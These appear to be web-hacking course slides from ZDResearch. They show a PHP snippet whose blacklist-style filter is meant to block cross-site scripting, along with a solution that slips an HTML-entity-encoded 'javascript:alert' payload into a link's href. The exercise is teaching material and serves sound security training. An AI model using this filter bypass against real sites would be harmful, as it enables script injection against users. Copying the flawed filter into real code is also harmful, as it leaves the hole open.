XSS Attacks

Bypass XSS Filter

ZDResearch
www.zdresearch.com

ZDResearch Advanced Web Hacking

Bypass the XSS Filter

- Modify the code and change *$username* value to bypass the XSS filters and alert XSS
- Here is the XSS filter:

```php
1  <?php
2  $username = "&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
3  &#39;&#88;&#83;&#83;&#39;&#41;";
4  $username = str_replace("<", "&lt;", $username);
5  $username = str_replace('"', "&quot;", $username);
6  $username = str_replace("'", "&#39;", $username);
7  $username = str_replace("javascript", "&#39;", $username);
8  ?>
9  <a href="<?php echo $username ?>">Show profile</a>
10
```

[View Code](#)

Bypass the XSS Filter - Solution

- Add *$username* with html entity encoded value of this payload:
  - *javascript:alert('XSS')*
- Which is
  - javascript:alert(
  - 'XSS')
- One might think HTML entities usage will result in XSS prevention but HTML entities can also be dangerous if used in the wrong place

ZDResearch Advanced Web Hacking

ZDResearch

www.zdresearch.com